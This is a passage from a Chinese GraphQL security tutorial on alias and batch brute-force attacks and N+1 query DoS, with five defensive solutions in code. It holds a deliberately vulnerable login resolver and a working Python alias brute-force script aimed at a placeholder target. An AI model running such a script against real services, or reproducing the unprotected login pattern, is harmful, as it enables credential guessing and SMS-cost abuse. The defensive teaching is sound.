拖库(遍历 ID) 1000 条/分钟 1 次请求拿 10 万条
触发短信/邮件(DoS 成本) 有限 ★ 直接烧钱(1 次请求 = 几千元短信费)
撞库 慢 快 1000 倍

3.4.3 漏洞代码(没做批量/别名限制的登录接口)

/**
 * ❌❌❌ 漏洞代码:GraphQL 登录 Mutation,没有做任何"操作次数"限制
 *
 * 攻击者用别名可以在 1 次请求里调用 1000 次 login()
 */
@Component
public class AuthMutationResolver implements GraphQLMutationResolver {

    @Autowired
    private UserService userService;
    @Autowired
    private PasswordService passwordService;
    @Autowired
    private JwtService jwtService;

    /**
     * ❌ 问题:
     *   1. 没有登录失败次数限制(或者只在"HTTP 请求维度"限流,被别名绕过)
     *   2. 没有验证码
     *   3. 同步执行,1000 个别名 = 1000 次串行 BCrypt 验证
     *      BCrypt 一次约 100ms → 1000 次 = 100 秒!
     *      ★ 这本身就是 DoS(即便不爆破,光是 CPU 就被打满)
     */
    public LoginResult login(String username, String password) {
        User user = userService.findByUsername(username);
        if (user == null) {
            return LoginResult.fail("用户不存在");
        }

        boolean ok = passwordService.matches(password, user.getPasswordHash());
        if (!ok) {
            return LoginResult.fail("密码错误");
        }

        return LoginResult.success(jwtService.generate(user));
    }

    /**
     * ❌ 同样危险:短信验证码
     *   攻击者 1 次请求发 1000 条短信 → 直接烧钱
     */
    public boolean sendSmsCode(String phone) {
        return smsService.sendCode(phone);
    }
}

攻击脚本(真实可用):

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
graphql_alias_bruteforce.py —— 演示 GraphQL 别名暴力破解(仅用于授权测试)

★ 这个脚本的目的是让你【亲眼看到】别名攻击有多可怕,
  从而在自己的系统里做好防护。请勿用于未授权系统。
"""
import json, urllib.request, urllib.parse, sys

TARGET = "https://target.com/graphql"


def build_alias_query(username: str, passwords: list) -> str:
    """把 N 个密码拼成一个带别名的查询"""
    parts = []
    for i, pwd in enumerate(passwords):
        # ★ 每个别名都是一次独立的 login 调用
        escaped = pwd.replace('"', '\\"')
        parts.append(f'a{i}: login(username:"{username}", password:"{escaped}") {{ success token }}')
    return "query {" + " ".join(parts) + "}"


def build_batch(passwords: list, batch_size: int = 1000) -> list:
    """把密码表切成多批,每批 1000 个(别名)"""
    batches = []
    for i in range(0, len(passwords), batch_size):
        chunk = passwords[i:i + batch_size]
        batches.append({"query": build_alias_query("admin", chunk)})
    return batches


def attack(passwords: list):
    print(f"[*] 待尝试 {len(passwords)} 个密码")
    print(f"[*] 用别名打包后,只需要 {len(build_batch(passwords))} 次 HTTP 请求")

    found = None
    for idx, batch in enumerate(build_batch(passwords)):
        # ★ 批量模式:请求体是数组
        data = json.dumps(batch if isinstance(batch, list) else [batch]).encode()
        req = urllib.request.Request(TARGET, data=data, method="POST")
        req.add_header("Content-Type", "application/json")

        print(f"  → 第 {idx+1} 次 HTTP 请求(含 {batch['query'].count('login(')} 次登录尝试)")

        try:
            with urllib.request.urlopen(req, timeout=60) as resp:
                results = json.loads(resp.read())
                # 查找成功的那一个
                for r in (results if isinstance(results, list) else [results]):
                    for key, val in (r.get("data") or {}).items():
                        if val and val.get("success"):
                            found = (key, val["token"])
                            print(f"\n[!!!] 爆破成功!别名 {key} → token = {val['token'][:40]}...")
                            return found
        except Exception as e:
            print(f"  [!] 请求失败:{e}")
            # ★ 注意:很多服务端会因为请求体太大返回 413,
            #         这时减小 batch_size 即可(比如 200),攻击照样成立

    print("\n[-] 未爆破成功(密码表不够大)")
    return None


if __name__ == "__main__":
    # 常见密码字典
    pwds = [f"{i:06d}" for i in range(100000)]     # 10 万个 6 位数字密码
    attack(pwds)

    print("""
    ┌────────────────────────────────────────────────────────┐
    │  对比(假设限流规则是「每分钟 10 次 HTTP 请求」)       │
    ├────────────────────────────────────────────────────────┤
    │  REST 接口:  10 次/分钟 → 试完 10 万密码需要 7 天      │
    │  GraphQL 别名:10 次请求 × 1000 别名                    │
    │              = 1 万次/分钟 → 试完 10 万密码只要 10 分钟 │
    └────────────────────────────────────────────────────────┘
    """)

3.4.4 五种防御方案(★ 每种都有代码)

✅ 方案 1:限制单次请求的“操作数量”(不是请求数量)

/**
 * ✅ 防御 1:限制单次请求里的【字段/操作数量】
 *
 * ★ 核心思路:限流的单位从"HTTP 请求"改成"GraphQL 操作/字段"
 *   这是治本 —— 攻击者怎么塞都塞不进去
 */
@Component
@Slf4j
public class OperationCountLimiter implements Instrumentation {

    /** 单个请求的字段总数上限 */
    private final int maxFields;
    /** 单个请求的根字段(顶层操作)数量上限 —— 别名攻击主要防这个 */
    private final int maxRootFields;
    /** 相同字段名(忽略别名)的重复次数上限 */
    private final int maxSameFieldRepetition;

    public OperationCountLimiter(
            @Value("${graphql.security.max-fields:200}") int maxFields,
            @Value("${graphql.security.max-root-fields:20}") int maxRootFields,
            @Value("${graphql.security.max-same-field:10}") int maxSameFieldRepetition) {
        this.maxFields = maxFields;
        this.maxRootFields = maxRootFields;
        this.maxSameFieldRepetition = maxSameFieldRepetition;
    }

    @Override
    public InstrumentationContext<ExecutionResult> beginExecuteOperation(
            InstrumentationExecuteOperationParameters parameters) {

        ExecutionContext ctx = parameters.getExecutionContext();
        OperationDefinition op = ctx.getOperationDefinition();

        // ① 统计字段总数
        int totalFields = countFields(op.getSelectionSet());
        if (totalFields > maxFields) {
            throw reject("QUERY_TOO_MANY_FIELDS",
                "查询字段过多(%d),上限 %d".formatted(totalFields, maxFields));
        }

        // ② ★ 统计根字段数量(别名攻击主要靠这个拦)
        int rootFields = op.getSelectionSet().getSelections().size();
        if (rootFields > maxRootFields) {
            throw reject("TOO_MANY_ROOT_FIELDS",
                "单次查询的根操作过多(%d),上限 %d。禁止使用别名进行批量操作"
                    .formatted(rootFields, maxRootFields));
        }

        // ③ ★ 检测"同名字段重复"(别名爆破的典型特征)
        Map<String, Integer> fieldCounts = new HashMap<>();
        countFieldNames(op.getSelectionSet(), fieldCounts);
        List<String> abusers = fieldCounts.entrySet().stream()
                .filter(e -> e.getValue() > maxSameFieldRepetition)
                .map(e -> "%s × %d".formatted(e.getKey(), e.getValue()))
                .toList();

        if (!abusers.isEmpty()) {
            log.warn("[GraphQL安全] 检测到疑似别名攻击:{}", abusers);
            throw reject("FIELD_REPETITION_DETECTED",
                "字段重复查询次数过多:%s(疑似批量攻击)".formatted(String.join(", ", abusers)));
        }

        return SimpleInstrumentationContext.noOp();
    }

    private int countFields(SelectionSet selectionSet) {
        if (selectionSet == null) return 0;
        int count = 0;
        for (Selection<?> sel : selectionSet.getSelections()) {
            count++;   // 自己
            if (sel instanceof Field f) {
                count += countFields(f.getSelectionSet());
            } else if (sel instanceof InlineFragment frag) {
                count += countFields(frag.getSelectionSet());
            }
            // FragmentSpread 需要查 Document 里的 FragmentDefinition,
            // 这里用 QueryTraverser 更准确(见下面的增强版)
        }
        return count;
    }

    /** ★ 统计【真实字段名】(去掉别名)的出现次数 */
    private void countFieldNames(SelectionSet selectionSet, Map<String, Integer> counts) {
        if (selectionSet == null) return;
        for (Selection<?> sel : selectionSet.getSelections()) {
            if (sel instanceof Field f) {
                // ★ 注意用 getName()(真实字段名),不是 getAlias()
                counts.merge(f.getName(), 1, Integer::sum);
                countFieldNames(f.getSelectionSet(), counts);
            } else if (sel instanceof InlineFragment frag) {
                countFieldNames(frag.getSelectionSet(), counts);
            }
        }
    }

    private AbortExecutionException reject(String code, String message) {
        return new AbortExecutionException(
            GraphqlErrorBuilder.newError()
                .message(message)
                .extensions(Map.of("code", code))
                .build());
    }
}

✅ 方案 2:限流改成“按操作次数”而不是“按请求次数”

/**
 * ✅ 防御 2:基于【操作次数】的限流(★ 治本方案)
 *
 * ★ 关键认知:
 *   传统限流:1 次 HTTP 请求 = 1 次配额消耗 → 别名攻击完全绕过
 *   正确限流:1 次 GraphQL 字段解析 = 1 次配额消耗 → 别名攻击失效
 *
 * 实现:用 Instrumentation 在【每个字段解析前】扣减配额
 */
@Component
@Slf4j
public class FieldLevelRateLimiter implements Instrumentation {

    private final RedisTemplate<String, String> redis;
    private final int defaultQuota;

    public FieldLevelRateLimiter(RedisTemplate<String, String> redis,
                                 @Value("${graphql.security.field-quota-per-minute:600}") int defaultQuota) {
        this.redis = redis;
        this.defaultQuota = defaultQuota;
    }

    @Override
    public DataFetcher<?> instrumentDataFetcher(DataFetcher<?> dataFetcher,
                                                InstrumentationFieldFetchParameters parameters) {

        GraphQLFieldDefinition fieldDef = parameters.getEnvironment().getFieldDefinition();
        String fieldName = parameters.getEnvironment().getField().getName();

        // ★ 只对"敏感/昂贵"的字段做字段级限流,不要对所有字段做(性能扛不住)
        if (!isSensitiveField(fieldName)) {
            return dataFetcher;
        }

        return env -> {
            String userId = getCurrentUserId(env);
            String ip = getCurrentIp(env);

            // ① 用户维度限流
            String userKey = "gql:field:%s:user:%s".formatted(fieldName, userId);
            if (!tryConsume(userKey, getQuota(fieldName))) {
                log.warn("[GraphQL安全] 字段级限流触发 field={} userId={}", fieldName, userId);
                throw new GraphQLFieldRateLimitException(fieldName);
            }

            // ② IP 维度限流(防未登录攻击者)
            String ipKey = "gql:field:%s:ip:%s".formatted(fieldName, ip);
            if (!tryConsume(ipKey, getQuota(fieldName) * 5)) {   // IP 维度放宽 5 倍
                log.warn("[GraphQL安全] 字段级限流触发 field={} ip={}", fieldName, ip);
                throw new GraphQLFieldRateLimitException(fieldName);
            }

            return dataFetcher.get(env);
        };
    }

    /**
     * 需要字段级限流的敏感字段
     * ★ 重点覆盖:登录、验证码、支付、导出、搜索
     */
    private boolean isSensitiveField(String fieldName) {
        return Set.of(
                "login", "sendSmsCode", "sendEmailCode", "verifyCode",
                "resetPassword", "changePassword", "bindPhone",
                "createOrder", "pay", "refund", "withdraw",
                "exportData", "search", "checkCoupon", "redeemCode"
        ).contains(fieldName);
    }

    /** 按字段配不同配额(登录严一点,搜索松一点) */
    private int getQuota(String fieldName) {
        return switch (fieldName) {
            case "login"        -> 10;    // ★ 每分钟最多 10 次登录尝试(含别名)
            case "sendSmsCode"  -> 3;     // ★ 每分钟最多 3 条短信
            case "resetPassword"-> 5;
            case "pay", "refund"-> 20;
            case "exportData"   -> 5;
            default             -> defaultQuota;
        };
    }

    /**
     * Redis 滑动窗口限流(Lua 脚本保证原子性)
     */
    private boolean tryConsume(String key, int quota) {
        String lua = """
            local key = KEYS[1]
            local now = tonumber(ARGV[1])
            local window = tonumber(ARGV[2])
            local quota = tonumber(ARGV[3])

            -- 移除窗口外的记录
            redis.call('ZREMRANGEBYSCORE', key, 0, now - window)
            -- 统计窗口内的请求数
            local count = redis.call('ZCARD', key)
            if count >= quota then
                return 0
            end
            -- 记录本次请求
            redis.call('ZADD', key, now, now .. '-' .. math.random())
            redis.call('EXPIRE', key, math.ceil(window / 1000))
            return 1
            """;
        Long result = redis.execute(
                (RedisCallback<Long>) conn -> conn.eval(
                        lua.getBytes(),
                        ReturnType.INTEGER,
                        1,
                        key.getBytes(),
                        String.valueOf(System.currentTimeMillis()).getBytes(),
                        "60000".getBytes(),          // 60 秒窗口
                        String.valueOf(quota).getBytes()));
        return result != null && result == 1;
    }

    private String getCurrentUserId(DataFetchingEnvironment env) {
        if (env.getContext() instanceof GraphQLContext ctx) {
            return String.valueOf(ctx.getOrDefault("userId", "anonymous"));
        }
        return "anonymous";
    }

    private String getCurrentIp(DataFetchingEnvironment env) {
        if (env.getContext() instanceof GraphQLContext ctx) {
            return String.valueOf(ctx.getOrDefault("clientIp", "unknown"));
        }
        return "unknown";
    }

    /** 自定义异常 */
    public static class GraphQLFieldRateLimitException extends RuntimeException {
        public GraphQLFieldRateLimitException(String field) {
            super("操作过于频繁,请稍后再试(字段:" + field + ")");
        }
    }
}

✅ 方案 3:禁用批量请求(Batching)

/**
 * ✅ 防御 3:禁用 / 限制批量请求
 *
 * ★ Apollo 默认开启 batching,很多团队根本不知道自己开了
 */
@RestController
public class GraphQLBatchController {

    @PostMapping("/graphql")
    public ResponseEntity<?> execute(@RequestBody JsonNode body) {

        // ★ 检测是不是批量请求(请求体是数组)
        if (body.isArray()) {
            int batchSize = body.size();

            // ① 严格模式:生产环境直接拒绝批量(推荐)
            if (isProduction()) {
                log.warn("[GraphQL安全] 拒绝批量请求 size={}(生产环境已禁用)", batchSize);
                return ResponseEntity.badRequest().body(Map.of(
                        "errors", List.of(Map.of(
                                "message", "批量请求在生产环境已禁用",
                                "extensions", Map.of("code", "BATCH_DISABLED")))));
            }

            // ② 宽松模式:限制批量大小(内部系统可以用)
            int maxBatch = 5;
            if (batchSize > maxBatch) {
                return ResponseEntity.badRequest().body(Map.of(
                        "errors", List.of(Map.of(
                                "message", "批量大小超过上限 " + maxBatch,
                                "extensions", Map.of("code", "BATCH_TOO_LARGE")))));
            }
        }

        return doExecute(body);
    }
}

Apollo Server 里关掉 batching:

// Apollo Server 4
const server = new ApolloServer({
  typeDefs,
  resolvers,
  // ★ 限制单批最多 5 个操作(默认不限制)
  //   注意:Apollo 4 不再内置 batching,如果你用了 apollo-server-express
  //   要显式检查 body 是不是数组
  plugins: [{
    async requestDidStart() {
      return {
        async didResolveOperation({ request, document }) {
          // ★ 限制别名数量
          const rootFields = document.definitions[0].selectionSet.selections.length;
          if (rootFields > 20) {
            throw new GraphQLError('Too many root fields', {
              extensions: { code: 'TOO_MANY_ROOT_FIELDS' }
            });
          }
        }
      };
    }
  }]
});

✅ 方案 4:深度防御 —— 登录/短信这类接口本身的防护不能少

★ 最重要的一句话: GraphQL 层面的限制是“防线”,但业务接口本身的防护(验证码、失败锁定、风控)才是“保险柜”。 你不能指望“前端限流”能挡住所有攻击手法 —— 攻击者总能找到你没想到的绕过方式。

/**
 * ✅ 防御 4:登录接口自身的多层防护(★ 不管用什么协议,这些都必须有)
 *
 * 五层防护:
 *   ① 图形验证码 / 滑块(挡住自动化脚本)
 *   ② 账号维度失败锁定(5 次失败锁 15 分钟)
 *   ③ IP 维度限流
 *   ④ 设备指纹(挡住换 IP)
 *   ⑤ 风控引擎(行为异常检测)
 */
@Service
@Slf4j
public class SecureLoginService {

    private final RedisTemplate<String, String> redis;
    private final PasswordEncoder passwordEncoder;   // BCrypt
    private final RiskEngine riskEngine;

    private static final int MAX_FAIL_PER_ACCOUNT = 5;
    private static final int LOCK_MINUTES = 15;

    public LoginResult login(LoginInput input, String ip, String deviceId) {

        // ===== ① 风控引擎(最前置,能挡住大部分自动化攻击)=====
        RiskDecision risk = riskEngine.evaluate(RiskContext.builder()
                .username(input.getUsername())
                .ip(ip)
                .deviceId(deviceId)
                .scene("LOGIN")
                .build());

        if (risk == RiskDecision.BLOCK) {
            log.warn("[安全] 登录被风控拦截 user={} ip={} reason={}",
                     input.getUsername(), ip, risk.getReason());
            return LoginResult.fail("登录异常,请稍后再试");
        }

        if (risk == RiskDecision.CHALLENGE && !captchaPassed(input)) {
            return LoginResult.needCaptcha();   // ★ 要求输验证码
        }

        // ===== ② 账号维度失败锁定(★ 挡住别名爆破的关键)=====
        String failKey = "login:fail:" + input.getUsername();
        String lockKey = "login:lock:" + input.getUsername();

        if (Boolean.TRUE.equals(redis.hasKey(lockKey))) {
            long ttl = redis.getExpire(lockKey, TimeUnit.SECONDS);
            return LoginResult.fail("账号已锁定,请 %d 分钟后再试".formatted(ttl / 60 + 1));
        }

        // ===== ③ IP 维度限流 =====
        String ipKey = "login:ip:" + ip;
        Long ipCount = redis.opsForValue().increment(ipKey);
        if (ipCount != null && ipCount == 1) {
            redis.expire(ipKey, 1, TimeUnit.MINUTES);
        }
        if (ipCount != null && ipCount > 30) {
            // ★ 1 分钟内超过 30 次登录尝试(不管是不是别名)→ 要求验证码
            return LoginResult.needCaptcha();
        }

        // ===== ④ 执行认证 =====
        User user = userService.findByUsername(input.getUsername());

        // ★ 防用户枚举 + 防时序侧信道:用户不存在时也走一次 BCrypt 比对
        if (user == null) {
            passwordEncoder.matches(input.getPassword(), DUMMY_HASH);
            recordFailure(failKey, lockKey, input.getUsername());
            return LoginResult.fail("用户名或密码错误");   // ★ 统一错误提示
        }

        if (!passwordEncoder.matches(input.getPassword(), user.getPasswordHash())) {
            recordFailure(failKey, lockKey, input.getUsername());
            return LoginResult.fail("用户名或密码错误");   // ★ 不区分"用户不存在"和"密码错"
        }

        // ===== ⑤ 登录成功,清除失败计数 =====
        redis.delete(failKey);
        redis.delete(lockKey);

        return LoginResult.success(jwtService.generate(user));
    }

    private void recordFailure(String failKey, String lockKey, String username) {
        Long fails = redis.opsForValue().increment(failKey);
        if (fails != null && fails == 1) {
            redis.expire(failKey, LOCK_MINUTES, TimeUnit.MINUTES);
        }
        if (fails != null && fails >= MAX_FAIL_PER_ACCOUNT) {
            redis.opsForValue().set(lockKey, "1", LOCK_MINUTES, TimeUnit.MINUTES);
            log.warn("[安全] 账号锁定 user={} 连续失败 {} 次", username, fails);
            // ★ 触发告警
            alertService.send("账号锁定告警", username);
        }
    }

    private static final String DUMMY_HASH =
            "$2a$10$N9qo8uLOickgx2ZMRZoMyeIjZAgcfl7p92ldGxad68LJZdL17lhWy";
}

✅ 方案 5:Persisted Query(持久化查询白名单) —— ★ 最彻底

原理: 生产环境只接受预先注册过的查询。客户端在构建时把查询提交到服务端, 服务端存下 查询 → hash 的映射,生产环境客户端只发 hash,不发查询文本。

效果:

  • 内省关不关无所谓(攻击者只能发白名单里的查询)
  • 深度/复杂度攻击失效(白名单查询都是审核过的)
  • 别名攻击失效(白名单里没有带 1000 个别名的查询)
  • 批量攻击失效(没注册的查询一律拒绝)

★ 一句话:Persisted Query 是 GraphQL 安全的终极方案, 代价是客户端改造成本 + 查询变更要走发布流程。

/**
 * ✅ 防御 5:Persisted Query 白名单(★ 生产环境终极方案)
 *
 * 三种模式:
 *   ① 严格模式(推荐生产):只接受白名单 hash,未知 hash 直接拒绝
 *   ② 自动注册模式(开发/预发):未知 hash 时接受并自动注册(★ 生产千万别开,等于没开)
 *   ③ 关闭模式(纯开发)
 */
@Component
@Slf4j
public class PersistedQuerySupport {

    private final PersistedQueryRepository repository;
    private final PersistedQueryMode mode;

    public enum PersistedQueryMode { OFF, AUTO_REGISTER, STRICT }

    /**
     * 解析请求:从 hash 还原出查询文本
     */
    public String resolveQuery(GraphQLHttpRequest request, GraphQLContext context) {
        String hash = request.getPersistedQueryHash();

        // ① 没有 hash,且是严格模式 → 拒绝
        if (hash == null) {
            if (mode == PersistedQueryMode.STRICT) {
                throw new PersistedQueryException(
                        "生产环境只允许持久化查询,请提供 persistedQuery.sha256Hash");
            }
            return request.getQuery();   // 非严格模式:直接用传来的 query
        }

        // ② 校验 hash 格式
        if (!hash.matches("^[a-f0-9]{64}$")) {
            throw new PersistedQueryException("非法的查询 hash 格式");
        }

        // ③ 查白名单
        Optional<String> registered = repository.findByHash(hash);
        if (registered.isPresent()) {
            return registered.get();
        }

        // ④ 未注册
        if (mode == PersistedQueryMode.STRICT) {
            // ★ 严格模式:直接拒绝,绝不回退到传来的 query
            log.warn("[GraphQL安全] 拒绝未注册的查询 hash={} ip={}",
                     hash, context.get("clientIp"));
            throw new PersistedQueryNotFoundException(
                    "查询未注册(hash=" + hash.substring(0, 16) + "...)");
        }

        // ⑤ 自动注册模式(★ 只允许在开发环境)
        if (mode == PersistedQueryMode.AUTO_REGISTER) {
            String query = request.getQuery();
            if (query == null || query.isBlank()) {
                throw new PersistedQueryNotFoundException("未知查询且未提供 query 文本");
            }
            // ★ 注册前先做安全校验(防止把恶意查询注册进白名单)
            validateBeforeRegister(query);
            repository.save(hash, query);
            log.info("[GraphQL] 自动注册查询 hash={}", hash.substring(0, 16));
            return query;
        }

        throw new PersistedQueryNotFoundException("查询未注册");
    }

    /** ★ 注册前的安全校验:恶意查询不能进白名单 */
    private void validateBeforeRegister(String query) {
        // ① 不能包含内省
        if (query.contains("__schema") || query.contains("__type")) {
            throw new PersistedQueryException("内省查询不允许注册");
        }
        // ② 深度校验
        int depth = calculateDepth(query);
        if (depth > 12) {
            throw new PersistedQueryException("查询深度超限:" + depth);
        }
        // ③ 别名数量校验
        int rootFields = countRootFields(query);
        if (rootFields > 20) {
            throw new PersistedQueryException("根字段数量超限:" + rootFields);
        }
    }

    public static class PersistedQueryException extends RuntimeException {
        public PersistedQueryException(String m) { super(m); }
    }
    public static class PersistedQueryNotFoundException extends RuntimeException {
        public PersistedQueryNotFoundException(String m) { super(m); }
    }
}

构建期自动生成白名单(Maven 插件思路):

# ===== 构建流程 =====
# 1. 开发提交 .graphql 文件到 src/main/resources/graphql/queries/
# 2. CI 里跑脚本,计算每个查询的 sha256,上传到服务端注册表
# 3. 前端构建时,用 apollo 的 persisted-query 插件把查询替换成 hash

# 手动生成(示意)
for f in src/main/resources/graphql/queries/*.graphql; do
  hash=$(sha256sum "$f" | cut -d' ' -f1)
  echo "{\"hash\":\"$hash\",\"query\":$(jq -Rs . "$f")}"
done > persisted-queries.json

# 上传
curl -X POST https://api.corp.com/internal/graphql/register \
  -H "X-Internal-Key: $CI_KEY" \
  -H "Content-Type: application/json" \
  --data @persisted-queries.json

3.4.5 五种方案对比

方案 拦住什么 误伤风险 实现成本 优先级
限制根字段/同名字段重复次数 别名攻击 低(正常查询不会有 20 个根字段) 低 ★★★
字段级限流(按操作次数) 别名 + 批量 低 中 ★★★
禁用批量请求 批量攻击 中(会影响合法的批量优化) 低 ★★★
业务接口自身防护(验证码/锁定) 所有(★ 治本) 高(影响用户体验) 中 ★★★
Persisted Query 白名单 所有(★ 最彻底) — 高(客户端改造) ★★

★ 推荐组合(渐进式落地):

  • 第 1 周(低成本高收益):限制根字段数量 + 同名字段重复次数 + 禁用批量请求
  • 第 2~4 周:登录/短信/支付类接口做字段级限流 + 验证码 + 失败锁定
  • 1~3 个月:核心业务(对外 API)切 Persisted Query 白名单

3.4.6 别名/批量攻击 —— 面试问答

Q:GraphQL 的别名(Alias)怎么被用来绕过限流?怎么防?

A(口述版): “别名本来是 GraphQL 的正常特性,用来在一次查询里区分同名字段的结果, 比如同时查 alice 和 bob 两个用户。

但攻击者可以在一次查询里写 1000 个别名,每个都调一次 login 或者 sendSmsCode。 这样一次 HTTP 请求 = 1000 次密码尝试或者 1000 条短信。 而我们的限流规则通常是’每分钟最多 10 次 HTTP 请求’ —— 完全没触发。 更狠的是配合批量请求(请求体是数组),1 次请求可以做到 10 万次尝试。 危害不只是爆破,还有短信轰炸直接烧钱、优惠券码被批量枚举。

防护要分三层: 第一层是协议层,限制单次请求的根字段数量(比如最多 20 个)、 限制同名字段的重复次数(比如 login 最多出现 10 次)、 生产环境禁用批量请求; 第二层是限流维度要改 —— 从’按 HTTP 请求次数’改成’按字段解析次数’, 用 Instrumentation 在每个敏感字段解析前扣减配额,这样别名就没用了; 第三层也是最不能省的,业务接口自身的防护: 登录必须有验证码、5 次失败锁 15 分钟、IP 限流、设备指纹、风控引擎。

★ 加分点:如果追求最彻底,上 Persisted Query 白名单 —— 生产只接受预注册的查询 hash, 攻击者连自定义查询都发不了。代价是客户端要改造,查询变更要走发布流程, 所以一般只对外网 API 上,内部系统用前两层就够。“


3.5 N+1 查询问题 —— 性能问题为什么会变成安全问题

3.5.1 一句话定义 + 为什么放在安全文档里讲

N+1 查询问题:查 1 次拿到 N 条记录,然后为每条记录再查 1 次它的关联数据, 总共 1 + N 次数据库查询。在 GraphQL 的嵌套查询里,会变成 1 + N + N×M + ...。

★ 为什么安全问题文档要讲性能问题?(面试会问)

因为 N+1 在 GraphQL 里会指数级放大,直接变成 DoS 武器:

REST 里的 N+1:一个接口最多 1 + 100 = 101 次查询(因为接口是固定的)

GraphQL 里的 N+1:
   查 100 个用户                          → 1 次
   每个用户的订单                          → 100 次
   每个订单的商品                          → 100 × 20 = 2,000 次
   每个商品的产品                          → 2,000 × 5 = 10,000 次
   每个产品的评论                          → 10,000 × 50 = 500,000 次
   ────────────────────────────────────────────────
   合计:502,101 次数据库查询
   
   而且这条查询【看起来完全正常】,深度只有 5 层,
   深度限制拦不住,复杂度限制如果没配好也拦不住。

★ 面试金句: “N+1 在 REST 里是性能问题(接口慢), 在 GraphQL 里是安全问题(一条查询打死数据库)。 因为 GraphQL 的嵌套是客户端控制的,N+1 会被放大成指数级。 所以 GraphQL 服务必须用 DataLoader,这不是优化项,是安全基线。”

3.5.2 N+1 长什么样(漏洞代码)

/**
 * ❌❌❌ 经典 N+1:每个 Resolver 都直接查数据库
 */
@Component
public class NPlusOneResolvers implements GraphQLResolver<User> {

    @Autowired
    private OrderRepository orderRepository;

    /**
     * ❌ 查 N 个用户 → 每个用户查一次 orders → N 次查询
     */
    public List<Order> getOrders(User user) {
        return orderRepository.findByUserId(user.getId());   // 每次一条 SQL
    }
}

@Component
public class NPlusOneOrderResolvers implements GraphQLResolver<Order> {

    @Autowired
    private ItemRepository itemRepository;

    /**
     * ❌ 更狠:N 个用户 × M 个订单 → N×M 次查询
     */
    public List<Item> getItems(Order order) {
        return itemRepository.findByOrderId(order.getId());
    }
}

执行一条这样的查询:

query {
  users(first: 100) {        # 1 次 SQL
    name
    orders {                 # 100 次 SQL(每用户 1 次)
      id
      items {                # 100 × 20 = 2000 次 SQL
        name
        product {            # 2000 次 SQL
          name
          reviews {          # 2000 × 50 = 100000 次 SQL
            content
          }
        }
      }
    }
  }
}
-- 数据库这边看到的是这样的(10 万条几乎一样的 SQL):
SELECT * FROM orders WHERE user_id = 1;
SELECT * FROM orders WHERE user_id = 2;
SELECT * FROM orders WHERE user_id = 3;
...
SELECT * FROM order_items WHERE order_id = 5001;
SELECT * FROM order_items WHERE order_id = 5002;
...
-- 数据库连接池(通常 20~50 个)瞬间打满,其他所有业务全部超时

3.5.3 ✅ DataLoader:批量 + 缓存,把 N+1 变成 1+1

原理(一句话):

DataLoader 把一个事件循环内(一次 GraphQL 查询内)所有对同一资源的请求攒起来, 最后一次性批量查询(WHERE id IN (...)),并且缓存已查过的结果。

生活类比(★ 记住这个):

没有 DataLoader(N+1): 你是快递员,要送 100 个包裹到同一栋楼。 你送完 1 个,跑回楼下货车拿第 2 个,上楼送,跑下来拿第 3 个…… 上下楼 100 趟。

有 DataLoader: 你先把 100 个包裹全部装进推车,坐一次电梯上去,挨户投递。 上下楼 1 趟。

而且如果你发现 3 楼 301 和 305 是同一个收件人(缓存命中), 你记一下,就不用重复跑了。

/**
 * ✅✅✅ 用 DataLoader 修复 N+1
 *
 * DataLoader 做两件事:
 *   ① 批量(Batching):把 N 次单查攒成 1 次 WHERE id IN (...)
 *   ② 缓存(Caching):同一次请求内,同一个 key 只查一次
 */
@Configuration
@Slf4j
public class DataLoaderConfig {

    /**
     * 注册 DataLoader
     *
     * ★ 核心:DataLoaderRegistry 必须是【每个请求一个实例】
     *        (因为缓存是请求级别的,跨请求缓存会导致数据不一致)
     */
    @Bean
    public DataLoaderRegistryFactory dataLoaderRegistryFactory(
            OrderRepository orderRepository,
            ItemRepository itemRepository,
            ProductRepository productRepository,
            ReviewRepository reviewRepository) {

        return () -> {
            DataLoaderRegistry registry = new DataLoaderRegistry();

            // ===== ① 用户 → 订单(一对多,返回 List)=====
            registry.register("ordersByUser",
                DataLoaderFactory.newMappedDataLoader(
                    (Set<String> userIds, BatchLoaderEnvironment env) ->
                        CompletableFuture.supplyAsync(() -> {
                            log.debug("[DataLoader] 批量查 orders,userId 数量={}", userIds.size());
                            // ★ 1 次 SQL 查出所有
                            List<Order> orders = orderRepository.findByUserIdIn(userIds);
                            // 按 userId 分组
                            return orders.stream()
                                    .collect(Collectors.groupingBy(Order::getUserId));
                        })
                ));

            // ===== ② 订单 → 商品(一对多)=====
            registry.register("itemsByOrder",
                DataLoaderFactory.newMappedDataLoader(
                    (Set<Long> orderIds) ->
                        CompletableFuture.supplyAsync(() -> {
                            List<Item> items = itemRepository.findByOrderIdIn(orderIds);
                            return items.stream()
                                    .collect(Collectors.groupingBy(Item::getOrderId));
                        })
                ));

            // ===== ③ 商品 → 产品(一对一,返回单个对象)=====
            registry.register("productById",
                DataLoaderFactory.newDataLoader(
                    (Set<Long> productIds) ->
                        CompletableFuture.supplyAsync(() ->
                            productRepository.findAllById(productIds).stream()
                                    .collect(Collectors.toMap(Product::getId, p -> p))
                        )
                ));

            // ===== ④ 产品 → 评论(一对多,加分页限制)=====
            registry.register("reviewsByProduct",
                DataLoaderFactory.newMappedDataLoader(
                    (Set<Long> productIds, BatchLoaderEnvironment env) ->
                        CompletableFuture.supplyAsync(() -> {
                            // ★ 从 context 里取分页大小(防止一次拉太多)
                            Integer limit = env.getContext() instanceof Map<?, ?> m
                                    ? (Integer) m.get("reviewLimit") : 50;
                            limit = Math.min(limit == null ? 50 : limit, 100);

                            List<Review> reviews =
                                    reviewRepository.findTopNByProductIdIn(productIds, limit);
                            return reviews.stream()
                                    .collect(Collectors.groupingBy(Review::getProductId));
                        }),
                    // ★ 缓存 key 要带上分页参数,否则不同分页会串数据
                    //   用 DataLoaderOptions 的 cacheKeyFn
                    DataLoaderOptions.newOptions()
                            .setCacheKeyFn(key -> key.toString())
                            .build()
                ));

            return registry;
        };
    }

    /**
     * ★ 配置 DataLoader 到 GraphQL
     */
    @Bean
    public GraphQL graphQL(GraphQLSchema schema,
                           DataLoaderRegistryFactory registryFactory) {
        return GraphQL.newGraphQL(schema)
                // ★ 每个请求创建新的 DataLoaderRegistry(请求级缓存)
                .instrumentation(new DataLoaderDispatcherInstrumentation(registryFactory))
                .instrumentation(new MaxQueryDepthInstrumentation(12))
                .instrumentation(new MaxQueryComplexityInstrumentation(5000))
                .build();
    }
}

对应的 Resolver 改成用 DataLoader:

@Component
public class UserResolvers implements GraphQLResolver<User> {

    /**
     * ✅ 用 DataLoader:100 个用户 → 1 次 SQL
     */
    public CompletableFuture<List<Order>> getOrders(
            User user, DataFetchingEnvironment env) {

        DataLoader<String, List<Order>> loader =
